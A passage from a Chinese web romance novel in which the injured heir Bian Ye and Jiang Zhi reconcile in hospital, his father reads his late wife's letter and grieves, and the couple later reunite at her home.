边政神色僵了下,转而怒道:“你说的这能是一回事吗?” 边野没心情跟他争辩什么,敛眸平静地说:“和苏小姐订婚的事您找别人吧,我无法配合。” 边政愣了下,眉头皱紧,“你以为联姻是儿戏吗,你想就想不想就不想?” “我跟苏家已经说过这事了,你现在不配合把我的脸面、边家的脸面往哪儿搁?” 边野扯了扯唇角,抬眸看他。 漆黑的眸子沉静安宁,却看得人心慌。 “从头至尾,自始至终不都是您在决定吗?有问过我的意愿吗?” 边政哑然一瞬,“你出生在这样的家庭里,就该——” “您走吧,我不想吵。” 他十分冷淡、没什么感情地打断,闭着眼休息。 边政摩着后槽牙,一腔怒火发不出来。 憋着憋着,脸都憋青了。 最后狠狠吸了口气,重重摔门而去。 病房里回归安静。 边野缓缓睁眼,不言不语地靠在病床头。 许久后。 他给宋言旭打了通电话过去。 宋言旭通宵打游戏,还没睡醒就接到他的电话,人还处在梦里,“……谁啊?” “帮我个忙。”边野嗓音很淡。 - 姜栀独自回了酒店,那个木匣子也被一起带了回来。 安放在桌子上。 她盯着那木匣子看了许久,脑子里还回荡着奶奶说的那些话,那些边野儿时的幸福与不幸,希冀与磨难。 片刻后收回了视线。 还是不要看了,趁早物归原主吧。 她拿出手机翻看回孟城的车票,选了明天中午的一张。 已经来了,还是要去看看任恔妤的。 姜栀原以为她只是比把自己骗回来跟边野见面,但昨晚问的时候才知道,她是真的摔了,录制综艺的时候一脚踩在中空的薄板上,薄板承受不住重量,直接摔了下去,膝盖和腿部都有不同程度的刮伤。 好在没有伤及骨头。 她去的时候把那个木匣子也带上了,到时候就顺路送过去。 进病房之前,姜栀存在了护士台。 推门进去的时候,任恔妤正在优哉游哉地吃草莓,捧着个平板专注地品着最近新出的仙侠剧。 姜栀应她的请求给她带了杯奶茶,给他高兴坏了,说助理受经纪人的嘱咐,坚决不让她喝,她都快馋死了。 姜栀面色温柔地笑着看她。 做了艺人之后,任恔妤的仪态款款,哪怕只是随意靠着床也有种慵懒的美,五官因为减肥而紧致精细,一双眼看人像是会说话,明媚迷人。 任恔妤在这里养伤,除了刚开始有人探望,后来就没什么人来了,只有助理成天陪着她,今天见到姜栀,她其实很高兴。 虽然她先前骗了姜栀病房号,但这应该算是善意的谎言。 毕竟看着两个互相有情的人不能在一起,她心里是不好受的。 任恔妤试探着问起边野,见她模样平静,稍作安心。 “我其实不太知道你们的事,高三听宋言旭说,才知道你们分开了,当时就觉得有点可惜。边野这个人,这么多年喜欢他的女孩子接连不断,但他谁也不喜欢,谁也走不进他心里。” 她说着扯了扯嘴角,“我甚至怀疑过他的性取向,直到宋言旭跟我说他喜欢你,我就想,这死树可算是开花了。” 姜栀被她的形容逗笑。 “你不知道他以前有多欠揍。” 任恔妤嘬了口奶茶,嚼吧嚼吧抻着脖子开始模仿边野,眉头不屑一挑,“她们喜欢我,我就要回应?我又不是做慈善的。” 她说完边摇头边吐槽,“是不是很欠。” 姜栀莞尔一笑,能想象出来边野说这话的样子。 的确有点。 不过—— 她轻声道:“我知道你的意思,也很感谢你,如果不是你我不知道他伤得这么严重,”姜栀神色黯淡了一瞬,“只是感情是两个人的事,就当我胆小吧,现在这样我觉得挺好的。” 任恔妤看着她,低低叹了口气。 她理解。 “我知道。”任恔妤眼底浮出些惆怅,“是我太贪心了,我只想着你们要是和好,他余生不会那么难熬。” “我也只有小时候才跟他关系很亲近,后来搬去H市,就很少再见面了,但他和你在一起的时候,能看出来是发自内心的快乐幸福。” 任恔妤陷入回忆,“长大以后,我做了艺人我们见面的次数就更少了,从高三毕业后到现在拢共也就四次。” “最后一次是在国外。” 姜栀没听边野提过他在国外的事,只知道他在那段时间里,有很严重的失眠症状,吃了许多许多的药。 如今任恔妤说起来,她并不排斥,安安静静地听。 那次任恔妤去Y国拍杂志,正好遇见他,就跟他一起吃了顿饭。 他比上大学之前瘦了很多,下颚线都清晰不少,眼神也没从前有温度了,跟冰块似的。 和农家乐那次判若两人,沉默寡言、颓唐但又没到底,周身死气沉沉。那顿饭吃得她浑身难受,她问他是不是还放不下姜栀,他说没有,可眼神不会说谎。 任恔妤没什么安慰人的天分,只能将就着说下:“世界上的男男女女,没走到最后的人很多,你要是实在喜欢就回去追,要是不追干脆就放下,别把自己整的跟苦情男主似的——” 边野百无聊赖地看着窗外的风景,神色很淡,仿佛在听又仿佛在放空。 Y国这时节的雨水多,外面下着毛毛细雨,没什么人打伞,还有人在冒雨遛狗。 他看久了,敛回视线。 不经意间,餐厅门口一道倍感熟悉的背影闯入眼底。女孩一头乌黑的长直发用黑色皮筋低低地扎着,穿着简单的白T牛仔裤,白皙清瘦。 久未波动、死寂无澜的心脏突然漏跳了一拍,只一秒,边野所有的神经都绷紧。 理智告诉他,姜栀不可能出现在这儿,但血液在身体里沸腾叫嚣,无数个日夜堆叠起来的、被深埋的苦思在这一刻破土而出。 力量凶猛,他没有压制的能力。 没管任恔妤还在说话,边野一阵风似的冲了过去。 越近,他心脏跳动得越快。 在拉住女孩胳膊的刹那,胸腔里的心跳速度达到了顶峰,嗓子眼发紧,急促不稳的呼吸跟随着情绪一起颤动。 他从没这么紧张过。 到嘴边的名字生生吐不出来。 女孩一脸莫名地回头,也是个中国人。 长得清秀,但不是她。 女孩看到边野这张过分冷峻帅气的脸时,眼底的惊艳一闪而过,还没开口询问,手臂上的力道就忽然一松。 边野漆黑的瞳眸一瞬晦涩,嗓音沙哑地道了歉,然后又恢复了原先的颓气与死寂,转身一步一步地走回到位置上。 任恔妤的视线才终于从那个女孩的背影上收回。 他靠在沙发上,平定着气息。 脸色冷淡得比外面的天气状况还要令人讨厌。 任恔妤实在看不得一个大男人因为一段感情要死要活的,“我圈内认识好几个不错的朋友,长得漂亮人还好,要不要我牵个线?” 边野的眼神朝她撇过来。 “不是都说忘掉一段感情最快的办法就是投入一段新的感情里吗?我是觉得你这样纯粹是在折磨自己。” “不用。”他淡淡拒绝,幽黑的眼底有不知名的情愫在流动。 谁都不是她。 也没人可以代替她。 任恔妤拿他没办法,只好放弃。 说起这事儿她就有些唏嘘,“我那个时候才知道,他喜欢起一个人来这么认真,甚至只是发现跟你背影相似的女孩也会毫不犹豫冲上去看看是不是你。” “那一刻是他跟我吃这顿饭以来唯一鲜活的时候,其他时候好像跟死了也没什么区别,也不知道他是怎么在国外撑那么久回来的。” 呼吸间,姜栀的胸口有些闷,不上不下的。 她不由自主地想起那些不同程度治疗失眠的药物,有种逐渐坠入水底的沉溺感。 “再后来就是那场恶性社会事件报道了,知道是为救你,我真是一点也不惊讶。” 任恔妤轻耸了下肩,“可惜我工作很忙,抽不出时间来看他,只能发发消息问问情况,他经常有一句没一句地回我,让我有种他又回到了在Y国那种半死不活状态的错觉。” “你们这一路,走得真是辛苦。” 任恔妤说起来,也有些怅惘。 心里跟打翻的五味瓶似的,很不是滋味。 那晚在仓库里的场景一幕一幕地在脑子里来回碾压,姜栀失了神。 一道声音跟她说,他现在很不好。 另一道声音说,可你难道就很好吗。 两道声音无限延长,生出连绵不绝的丝线来,将她缠绕围困。 她想挣脱都没有出口。 任恔妤看出她低宕的情绪,试图安慰,可她不擅长。 只能说些圈内有意思的瓜转移她的注意力。 姜栀听她说了很久,久到她的小助理回来催她休息,她才和任恔妤告别。 说下次有机会一定会去探班。 从病房里出来,姜栀去往护士台。 周遭来往着病人、家属和医生,她像穿插在时间线里的一缕游魂,那些人逐渐成了模糊的背景。 意识轻飘飘的,没什么份量。 姜栀游到了边野的病房门口。 盯着手里的匣子看了很久,她还是敲了门。 病房里灯光炽亮。 床头抬高了,边野安静地靠着,五官在灯光下鲜明立体,面目冷隽,轮廓锋锐。 手里拿着个文件夹,看得专注。 听到声音,他偏头。 看到她的瞬间,漆黑的瞳眸不可抑制地颤动了下。 “你来了。” 边野嗓音干涩,嘴角轻扯,笑意很淡,透着点苦。 姜栀点头,走过去把木匣子放在病床边的柜子上,“这是奶奶给我的,但我思来想去,还是带过来物归原主。” 边野目光落在上面,不由晦暗。 他记得这个匣子,里面装的都是儿时一些回忆,奶奶肯交给她,自然是首肯了她的,她不愿意打开,足以说明态度了。 哪怕昨天已经做了心里建设,做足了准备,但此刻他还是觉得难过。 收回眼神,他故作没事儿一般道:“奶奶找你了。” “嗯。”她应了声,多余的什么也没说。 气氛沉寂了几秒。 两道声音同时响起: “我明天中午——” “我让人给你准备了——” 两人又同时停了话音。 边野望着她,声音温沉:“你先说吧。” 姜栀没有推辞,抿了抿唇道:“我的票是明天中午的,回了孟城以后可能很少会回来,你……好好养伤。” 话音落下,边野搭在内侧被子上的手下意识收紧。 但很快,又无力地松开。 “路上注意安全。” 边野故作轻松地叮嘱。 他不想做出一副可怜的样子来博得她的同情,他想最大程度地尊重她的选择。 “嗯。”姜栀平静应下,轻问:“你呢,刚刚是想说什么?” 边野眼睫动了动,拿出两份合同递过去。 页面上的股权转让四个大字突兀地闯入她眼底。 “我都处理好了,只要你签个字,就可以转到你名下。”他说这话从容而轻松,仿佛在说菜场的小白菜,几块一斤。 姜栀眉心跳了下,低眸翻开。 里面条条框框写的都是股权如何转让给她,包括芯耀日后的经营利润,每一条都在保障她的权益。 芯耀虽然成立不久,但如今势头正猛,再过两年就要上市,股价自当飙升,把他所有的股份都给她,不说这辈子,便是几辈子她也花不完。 姜栀一页页往后翻,最后一页,他的名字已经签上。 遒劲有力的字迹,连公章都盖好了。 正如他刚刚说的,只要她签个字,这些就都是她的了。 姜栀顿了两秒,合上。 她抬眸看他,“你疯了吗。” 声音很轻,并没有指责意味。 “我很清醒。”边野神色认真,黑眸里装着她的身影,“没有哪一刻比现在更清醒。” “这些够你花一辈子,如果你是看重白司裴的家世,这些远比他的家世带给你的要轻松安宁,不用受任何委屈。” 他声音有些艰涩,“有了这份股权,你想做什么都可以,很自由,没人可以约束得了你。” 姜栀眼睫颤动了下。 握在手里的合同忽然就重如千斤,沉甸甸的,她快要拿不住。 “我只有一个请求。” 边野几乎卑微到尘埃里,喉结滑动几下后,一字一句道:“不要嫁给他。” 会受委屈。 他用命护着的女孩,就该幸福美满。 这意思已经足够鲜明。 姜栀喉咙哽了下,胸腔有些酸胀。 她快速地眨动了几次眼睛,把那些热意倒逼回去。 “这份东西太贵重,我承受不起。” 姜栀把手里的合同放回柜子上,眼睫低垂着。那些好不容易筑起的心墙被一遍一遍地无形撞击着,快要支撑不住。 边野心脏紧缩了下,像被人扼住肺管,四处都刺刺的疼。 指尖蜷了下,他维持着浅淡的神色,“不用这么急着拒绝,你可以慢慢考虑,什么时候愿意我都不会反悔。” 说完,拿出另一份文件,像是担心她说出什么,边野紧接着说:“我认识一些品性还不错的世家子弟,虽然没有白家家大业大,但家庭环境比较和睦,如果你想选择有家族托底的,这些都算不错的人。” 他把手里的文件打开,一页一页翻开。 “资料我都替你整理好了,如果你有想接触的,我会为你牵线搭桥。” 边野说这些时,紧紧压着内心翻滚的情绪。 这是他最后能为她做的事。 只要她幸福,他怎样都可以。 姜栀抬手去翻,每一份资料都很详细,连性格上的优缺点都写上了。 足以见得他的用心。 他是真的很怕她嫁去白家,那个他嘴里狼窝虎穴。 那道勉强维持的墙体终于从某一处裂开,裂纹迅速蔓延。她只能眼睁睁地看着它轰然倒塌。 她眼眶有点热,没有抬头,“谁都可以?” 这话犹如一把钝了刀,一点一点刮磨着他的心脏,有麻木的痛四散开来,漫入四肢百骸,连呼吸都难以畅快。 “嗯。”不甘、渴望、苦涩像飞速攀爬的蚂蚁,在血液里乱窜,他骨节收紧,努力克制着,“谁都可以,只要不是白家。” 至少……至少不要在她面前失态。 姜栀胸口沉甸甸的,像灌了冰囊袋,一点一点拖着她下坠。 她定定望着这份资料,脑子里却是各种纷乱的画面。 是两个多月前那通要与她决断的通话,是昨晚他无法克制地挽留,是他从病床上跌下来却第一时间在意她的想法。 是任恔妤嘴里认错人的那一幕,是现在的股权转让合同和替她把关未来的结婚人选。 像无数玻璃碎片,在她的脑海里飞荡。 然后每一片都带着极为清晰的情绪,很用力、很用力地插在她的心口上,连拔除的机会都没有。 沉寂的氛围里,她嗓音低哑,声线里的颤意快要压不住,“边野——” 姜栀缓缓掀起眼睫,眼前一片模糊,动荡的视线里,她在未知与迷茫里问:“我还能……相信你吗?” 相信你这一次不会再辜负我。 相信你会毫无保留地爱我。 我还能。 再信你一次吗。【你现在阅读的是 】 第 67 章(正文完) 第67章 第 67 章(正文完) 如同冗长的寂夜里响起的绚烂礼花, 将一方天际映得炽亮。边野蜷紧的指骨僵了下,黑眸逐渐浓稠,汹涌着暗流。 “……什么?” 他脑子一片空白, 心脏在胸腔里怦怦作跳, 振聋发聩。 姜栀喉咙滑动, 在泪光中看到他的无措与紧张。 合上那些资料, 她声音轻而沙哑:“我从来不是什么胆大的人, 遇见危险也会想要退缩, 我很怕你会再一次, 像那通电话里那样,什么也不告诉我,说尽伤人的话,强行结束这段关系。” “这是我最后的勇气……” 泪珠挨着下眼睫,只待积蓄重力,一跃而下。 不可置信, 却又无比真实, 边野几乎以为自己产生了幻觉。 可不是幻觉。 喜悦、激动、兴奋在血液里沸腾,但转而,两个多月以来深压的沉抑、苦涩、酸楚、不得如同翻涌而来的海啸,叫嚣着将他吞没。 胸腔被搅缠着,各种情绪猛烈地互相撞击,他紧绷到边缘。 边野眼尾一点一点红起来,颤抖着手去握她纤细的手腕。 然后缓缓收紧。 终于在虚无中有了实感。 “对不起。” 他喉咙里像含着沙子,有点粗哑。 一个熬过了无数艰难的日夜、在商场沉浮里手段果决狠辣的人, 此刻被巨大的悲伤笼罩, 压得抬不起头来,周身弥漫着哀颓。 “这一次, 换你来主导。” 他掀起眼皮,漆黑的瞳眸里映着她的身影,嗓音艰涩潮湿,“是去是留亦或者以后不要我了,都由你说了算。” 姜栀眼睫颤动了下,那滴泪珠突地一下掉出去。 她鼻子发酸,扯着唇溢出一声低低的“嗯”。 边野伸手,指腹轻轻擦去她脸上的泪渍,“是我的错,让你这么难过。” 她吸了吸鼻子,说起股权,“那个我不签,你把文件销毁了吧。” “那是对你的保障——” “不是说这次换我主导吗,那我说的话是不是得听?”她温和地打断他,直视着他的眼睛。 边野顿了顿,眼底溢出无奈,“晚点我让人处理掉。” 时间还早,姜栀就坐在病床边陪他,告诉他来之前去看了任恔妤,又说奶奶带她去了满园,和她说了很多他小时候的事。 边野靠在病床上,一边看着她削苹果一边听她说,目光温柔得如同蓄了一池星光,落了她满身。 好像翻山越岭许久,他终于追寻到独属于自己的月亮。 月亮很圆很亮,映照着他孤寂的来路。 - 姜栀改签了车票,在宿城陪了他几天,临走前见了边政一面。 边政对于边野为救她伤成这样本就心怀芥蒂,又因为边野死活不肯跟苏家联姻,对她的那点长辈身份下的怜爱几乎消散殆尽。 “如果你是来告诉我你和小野有多么相爱,不管我同不同意都要在一起,那就不用说了。”边政沉着脸,语气也不算好。 和苏家的联姻是一早就谈好的,现在因为边野不肯而闹成这样,他作为父亲不爽,作为边家的家主更是觉得丢脸。 苏老虽然嘴上说理解孩子的想法,但他能感觉到人家心里不痛快。 作为世家,最重要的就是人脉。边家现在势大,那是因为百年基业打下来的基础,是因为他还在,那以后呢,谁能保准以后也能这样? 他正是因为心疼小野,才不愿意小野屡次踏进同一个火坑。 那是他唯一的血脉。 哪怕老太太一而再提醒他,要尊重小野的意愿,不要强行插手,他还是压不下那股怒火。这些天任由她进出病房已经是克制了。 姜栀知道他心里有气,作为一个父亲,谁也不愿意看到自己的孩子为了一个女人连命都不顾,所以她也没有贪心到想要他理解自己。 “我今天来找您是为别的事。” 她把那封信从包里拿出来,轻稳地放在办公桌上,“这是黎姨写给边野的遗书,他认为您也应该看看。” 陪着边野的这几天,姜栀想起遗书,亲自去取了一趟。 人死怨消。迟了这么久,放不放得下都该看看。 边野如今已经没有那么抗拒,拆了封口,里面洋洋洒洒写了两页纸。她没有看,借口去打电话离开了病房。 给他留下单独的空间。 她在病房外的长椅上坐了许久,起身时,透过门上的玻璃小窗看见他泛红的眼,还有恰好滚落下来的泪。 边野一言不发,只低着头看。 最后沉默着叠好放了回去。 虽然不知道是什么内容,但姜栀能猜到,黎姨一定很舍不得边野,却又不得不离开这个世界。 两页纸铺满了温情,是她在清醒状态下写的。 她一定也很难过。 姜栀心里沉甸甸的。 距离黎姨过世已经八年,可音容笑貌仿佛仍在眼前。 如果她还在,应该会为现在的边野高兴吧。 他如今没有堕落,没有放任自己,长成了成熟的大人模样,是个有担当有责任心的男人,已经能肩负起生活的重担。 按照她所想的,走上了正道,成为了一个很好的人。 姜栀留了足够的时间,再进病房的时候,边野已经收敛好了情绪。 她什么都没问,安安静静走过去在病床边坐下。 “姜栀。” 他忽然开口,声音轻微沙哑。 姜栀凝眸看他。 “替我去见一面边政,好吗?” 她愣了一瞬,见他拿出那封遗书,“黎女士的信,他也应该看一眼。” “就当是,了却他们之间的遗憾吧。” 边野平静得像是阐述着陌生人的故事,跟她说了很多,有关于这封遗书有关于黎姨的过往。 像轻纱蒙尘,慢慢抖落干净。 姜栀听到最后,几乎如鲠在喉,半个字都说不出来,心口酸涩难忍。 回孟城的前一天,她来了边氏。 “边叔叔,您可以对我有成见,但是黎姨,她很爱您。” 简简单单的一句,却让边政沉肃的脸色有了一丝裂隙。 信送到,姜栀的任务也就完成了。 多余的不必她说,边野说他看了信自然会明白。 她默默走出去,关上了办公室的门。 办公室里敞亮安静。 静得边政能听见自己的呼吸声。 他盯着那封遗书许久,才伸手拿过。 手指轻微颤了下。 和黎宁的婚姻一地鸡毛,她死后没有给他留下任何东西,他那时候在出差,连她最后一面都没有见到。 得知消息的时候,边政头晕目眩,整个人几乎站不住,连夜赶回宿城。 自打小野六岁以后,他们的婚姻就逐渐破裂,可求娶她是他想了十几年的事。因为知道她心里已经有了别的男人,他不敢面对她,哪怕他们之间已经有了一个六岁的孩子。 他怕她有一天想跟那个男人在一起,跟他说离婚。 边政无数次让自己放下黎宁,但根本做不到,越是看见她,他越是心如刀绞。 明明最开始的那几年,他们那么恩爱。 为什么最后会走到这一步…… 他们是联姻不假,但十五岁那年的宴会上,他对黎宁一见钟情。 从来没有一个女孩这么明媚地朝他笑,眼底细碎得像盛满了星星,生动迷人。后来得知家里要跟黎家联姻,他兴奋地睡不着觉,天天企盼着长大,再长大。 在无人知道的地方,边政热烈地喜欢着她,迫切地想要娶她回家。 再后来,他意外知道黎宁在大学喜欢上学校里的一个男生,蜜里调油、如胶似漆。 他在她看不到的地方,眼睁睁看着她笑颜如花地落入那个男人怀里,心脏抽痛得快要呼吸不过来。 但爱是成全。 他想,要是她这么喜欢那个男人,他也可以放弃。 他不会做那个棒打鸳鸯的人。 可上天垂怜。 她还是嫁给了他。 边政这辈子就喜欢过这么一个人,笨拙又小心翼翼。他那时候想,哪怕她是被家里逼着嫁给他,不喜欢他,甚至讨厌他也没事,只要能看到她就好。 直到黎宁在生日那天喝醉酒主动吻了他,肾上腺素和荷尔蒙含混在一起,他难以抑制,却还是逼着自己问她,知不知道他是谁。 边政二字从她嘴里说出来的刹那,他就知道自己完了。 热烈暧昧的氛围里,两个人情动而迷乱。 边政想,哪怕第二天她酒醒了,打他骂他,他都认了。 可没有。 她为他学习下厨,为他准备惊喜,也会跟他撒娇,抱怨他回来得晚。那个时候,他终于有了家的归属感,有了修成正果的欣喜。 高兴她的心里,总算有了他的位置。 可在边野六岁那年,黎宁忽然就开始远离自己,突然到他有些无措。 他不明白,在这段急转直下的婚姻里寻求原因,却原来是她又和旧情人有了联系,所以他便不重要了。 他们之间越走越远,到最后爆发了争吵,他筋疲力尽,却还是不想放她走。边政选择了早出晚归,有了距离,也许他还能维持住这段婚姻。 他想要的不多,从始至终都只有一个她而已。 但黎宁突然开始生病,一次又一次地发病。 也许是他的存在刺激到她了吧,边政不知道怎么做,只能回来的更晚,哪怕很想很想她,也只能克制,但他万万没想到,她最后会以自杀结束自己的性命。 像是对他的无声反抗,那一刻他后悔了,如果当初选择离婚,她是不是还能活着。 往事沉重地压在心底。 边政缓缓展开信纸,看着上面清秀的字迹。 两页。 一页提的是边野,另一页有一部分提到了他。 [小野,你不要怨恨你的父亲,他其实是个很好的人,至少我刚嫁过来的那几年,他一直对我很好,讨我的欢心,关心着我的一切。 我以为我不会爱上联姻世家的人,但他和别人不一样,我义无反顾地爱上他,你六岁之前,我们一家三口真的很幸福。 只是可惜,他喜欢上他的秘书,我很痛苦,如果我没有那么爱他也许还不会这么难熬。爱这个东西,来得快去得也快,伤人最轻易。 我想过许多次,如果他没有喜欢上那个秘书,我们是不是就可以这样爱下去,以爱过完这一生,也不会给你带来那么多伤害,可这世上哪有如果呢。 到这一刻,我除了想起你和知知,就是你父亲了,哪怕我也曾怨恨过他,可临了,我竟还是愿意爱他。 ……] 边政一句一句看过去,手指颤抖。 几乎要拿不住这样轻飘飘的信纸。 看到最后,他眼眶泛红,有泪在里面打转。 无数扰人的情绪纠缠在一起,边政几乎要被冲垮。 他失而复得,得而复失,从来都以为是因为有外人插足了他们的婚姻,可原来根本没有,老天它织造了个天大的误会,让他们彼此都蒙在鼓里,互相折磨,互相伤害。 活生生逼着她离开了这个世界,离开了他。 边政紧攥着信纸,心痛得难以复加。 最后眼前发黑,天旋地转地倒了下去。 落地窗外天色阴沉。 今天又是个没有太阳的日子。 姜栀回了孟城陪着爷爷奶奶过年。 她说起贺为京绑架她的事,说起这次去看望边野的事,最后说起他们曾在盐城在一起过一段时间,后来因为他受伤分开,但现在又重新在一起的事。 老太太比较吃惊,但姜爷爷接受良好,让他们既然在一起就要好好珍惜彼此。 姜栀笑着答应。 姜爷爷又说还有没有别的事情瞒着他们,她犹豫再三,到底是把姑姑姜若瑜的事也说了,老两口从惊讶到沉默,最后红着眼眶深深叹了口气。 看他们没有因此受到打击,出现身体上的问题,姜栀绷紧的神经终于松懈。 团圆饭吃得很温馨。 姜栀吃完,接到了边野的电话。 她走到阳台上趴在窗边,外面正在放烟花,声音响亮,一个接一个的,很热闹。 “新年快乐,知知。” 磁沉的嗓音从电波里传来,姜栀眉眼弯弯,琥珀色眼里映着窗外盛放的烟花,“新年快乐。你今天吃饺子了吗?” “没,你下次回来陪我一起吃。” 姜栀眼底溢出柔软来,看着楼下放烟花的小朋友们,低声:“是不是想我了。” 几百公里外的宿城,边野望着窗外黑沉的天际,缓缓勾唇,“嗯,很想。” 缱绻的思念从电话里传进耳鼓,姜栀心里有丝丝缕缕的蜜意漫上来,陪着他说了很久的话,久到手机都发烫了。 晚上要守岁,她不睡,边野就也不睡,开了视频陪她。 姜栀说假期短,过完年就要回去上班,恐怕没有时间来看他。 边野笑着让她好好上班,自己会积极配合医生,争取早日康复。 也许爱意真的滋养人,让她在上班后的第一个周五连夜飞回了宿城,到达时已经临近十二点,医院里的人少了很多。 姜栀跟在护士身后,一时没有被发现。 直到护士换完药离开,她才轻咳了一声。 闭目的边野听到熟悉的声音,眼睫微微动了下,睁眼看到她的刹那不由愣住。 “看到我不开心吗?” 姜栀一路赶来,身上的寒气还没完全驱散,鼻头和耳朵被冷风吹得很红,脑袋微微歪了下,嘴角挂着柔软的弧度。 边野无疑是高兴的,但—— “怎么这么晚赶过来,傻不傻?”一千多公里,今天还是周五,外面天这么冷。 “想见你就来了呀。” 姜栀走过去,手里还拎了份热乎的饺子,打开小桌板放上去,“不是让我陪你吃饺子吗,这些都必须吃完才行。” 她指尖冻得很红,边野伸手握住,一片冰凉,心口涩涩。 “冻坏了怎么办?”他眉头蹙起,眼神却不忍责怪。 姜栀眉眼弯弯地逗他,“那只有你全权负责了。” 生动。 鲜活。 他好像又看见了曾经那个姜栀。 喉结滑动,边野眼底一片宠溺,“嗯,我全权负责。” 姜栀陪着他吃完这份饺子,找了个临时的折叠小床放在他床边。vip病房是套间,里面有很舒适的大床,但她不肯。 边野拿她没办法,只好任由她去。 晚上很安静。 边野吃了药,困意袭来,没陪她说几句话就闭了眼睛。 姜栀侧躺着,终于能好好看看他。视线从他深邃的眼眶一寸一寸逡巡到高挺的鼻子,最后是隐有胡茬的下巴。 从年前到现在,他们之间像个不真实的梦,如同巨大的薄膜笼罩在上方,只要稍稍用力就会被戳破。 她沉浸在其中,可偶尔也会失神。 情绪堆积着,一直在心底盘旋,她迫不及待地想要见到他,哪怕只有片刻。 直到此刻,他就这么真实地出现在眼皮底下,那些隐匿的不安被忽地打散。 边野闭着眼睛睡相很好。 姜栀下意识伸手,很轻很轻地落在他浓黑的眉毛上。比她的眉毛稍微硬一些,但并不刺手。 她眼神平静而温柔,一点一点往下触摸。 轻软的指腹划过他的眉骨、眼睛、鼻梁、嘴唇。 一路往下,停留在男人凸起的喉结上。 看着清泠,但一点儿也不戳人。 姜栀下意识往下按了按,下一秒,手腕被紧紧抓住,本该睡着的边野眼眸晦暗,声音微哑:“知不知道男人的喉结不能乱摸?” 她愣了一下,“那哪里可以随便摸吗?” 问完,姜栀才觉得这话很有歧义,耳廓一下就红了,想要抽手却被他握住不放。 “你、你不是睡着了吗?”她声音嗡嗡。 边野无奈勾唇,“你这样摸谁睡得着?” 姜栀脸颊更红了。 “你……快睡吧,我不碰你了。”她眼睫轻轻颤动。 “晚了。” 他嗓音微哑,抓着她的手往被子里走。 姜栀一时没理解,两秒后脑子轰的一下,连忙退缩,“不、不用了,我保证不碰你了,行吗?” 她整个人都红得被水蒸过似的,可爱得令人想要咬一口。 “你脑子里在想什么?” 边野提唇,好笑地将她的手放在腹部,稍稍用力,肌肉便坚硬了些。 “喜欢碰就碰个够,这里手感应该不错。” 被窝里温热,姜栀的指尖轻触在腹肌上。 他松了手,放任她。 姜栀还是矜持了些,只流连地碰了几下便收回了手。 指尖滚烫,她感觉呼吸也烫。 “快睡觉。” 说完,羞得垂着眼,心脏怦怦直跳。 边野伸手握住她手,眉目温柔宠溺,看着她透红的耳廓,低声不疾不徐道:“医生说现在恢复情况良好,快的话明年就能痊愈,至少看起来能像个正常人。” 姜栀眼睛眨了下,心里有点涩意。 “等我能站起来,就结婚,好不好?” 她听着,眼眶有点湿润,闷闷地“嗯”了一声,“你要早点好起来,不然我就不嫁给你了。” 边野喉结滑动,胸口潮湿一片,“好。” …… 周末短促。 姜栀没能停留太久。 开年的工作比较多,项目方案一个接一个地做。 公司正好准备扩大规模,姜栀感觉自己跟陀螺似的转着,一个月只能抽一次飞去宿城看边野。 边野积极配合康复治疗,七个多月的时候已经能扶着墙勉强走一会儿,虽然日常还需要做轮椅出行,但已经比原来好上许多。 姜栀在忙碌中升了职。 到元旦,两个人已经有一个多月没见,她想着忙完手里这个项目就请假去一趟宿城,这几天几乎加班加点的在搞。 周五同事们纷纷下班。 姜栀在公司加到了九点才关上电脑,揉了揉酸痛的脖子,她抱起笔记本出去,关了灯乘坐电梯下楼。 这个点,天黑得如同泼墨。 一月的盐城已经零下,呼吸间喷薄着白雾,连同道旁的霓虹灯光都雾蒙蒙的。 姜栀裹紧了围巾,到小区门口的时候手脚已经冰凉。 跺了跺脚上的冰碴,进去。 身后传来很轻的脚步声,她起先以为是同小区的住户,但警惕心在,特意绕了个弯,然而那道脚步声依旧不紧不慢地跟着她。 姜栀有点害怕,稍稍加快了步伐。 绕进楼道里的时候,她摸出包里的防狼喷雾,紧张地心脏怦怦跳。 在听到脚步声的刹那,姜栀猛地举起喷雾,刚喷出一点就愣住了,整个人僵在原地,瞳孔震颤了下,不可置信地睁圆了眼睛。 “谋杀亲夫啊?” 边野站在她身后两步距离的地方,挥了挥空气里残余的喷雾,唇角散漫慵懒地勾起。一身黑色羊毛大衣,衬得人清冷又欣长。 男人发梢分开了落在额头两侧,深邃幽沉的眼含着柔和的笑意。 姜栀定定望了他好几秒,眼眶唰地一下红了。 难以抑制的酸楚从胸口蔓延上来,一股脑冲破喉咙。 两步并做一步,姜栀奔过去。 双臂牢牢搂住他脖颈,吸了口气,眼泪摇摇欲坠。 他们其实每天都有通话,或长或短。 但她从没想过他会这么突然地出现在眼前,出现在这样一个平平无奇的夜晚。 “来得好突然,都不告诉我。” 姜栀脚尖微踮,脸颊埋在他肩窝里,声音闷闷的。 温香软玉在怀,边野心口泛滥得一塌糊涂。 他伸手抚住她后背,“告诉你还怎么有惊喜?” “可我差点把你当成坏人。”姜栀蹙眉,“这可是防狼喷雾,喷眼睛里很难受的。” 边野半点没生气,唇角勾出宠溺的弧度,“我留了安全距离的,也正好探探你有没有防范意识。” 姜栀:“……” 她吸了吸鼻子,情绪收收捡捡得好了许多,从他怀里出来,这才意识到他还有另一家事没有告诉自己。 “腿好了也是惊喜吗?是不是好了有一段时间了,什么都不告诉我。” 她嘴巴轻微鼓起,有些不满。 楼道的灯炽亮,照的那双琥珀色眼眸清透无比。 边野按下电梯,带她进去,“你忙工作,我不想让你分心。怕你一时高兴要飞来宿城看我。” 他握着她被冻凉的手放进口袋,捏了捏她指尖,“也确实是想给你一个惊喜。不喜欢吗?” 姜栀工作一天很累,半靠着他,“没有不喜欢,只是怕你腿疼。” “这么远的路。” 边野的腿确实没法恢复到跟正常人那样,但走路还是不成问题的,后遗症不过是不能剧烈运动,天气不好时会发疼,其余的倒也没什么。 至少在他看来,这些都是微不足道。 能重新站起来,他已经很满足。 “所以——” 他偏头看她,目光好似深不见底的海,在灯光下波光粼粼的浮动,无尽的温柔。 电梯到达。 姜栀不解,“什么?” 他低笑,握着她的手开门进去。 玄关灯都没开,荷尔蒙和清冽的气息便劈头盖脸地朝她涌来。 姜栀还没反应过来,后背被他压着抵在柜子边缘,但很快被他温热的手隔开。像被压抑困顿了许久的猛兽,刚出笼就急不可耐地释放。 男人匆促而热烈,她像一株被疾风骤雨拍打的花,毫无抵抗之力。 堆积了无数日子的思念在心底来回拍打撞击,姜栀也在渴望。 她努力回应,只是到底青涩了些。 两道紊乱不成型的气息无限交缠在一起,边野手掌宽大而有力量,所过之处如同燎原的星火,她被点得无处可逃。 灼热。 难耐。 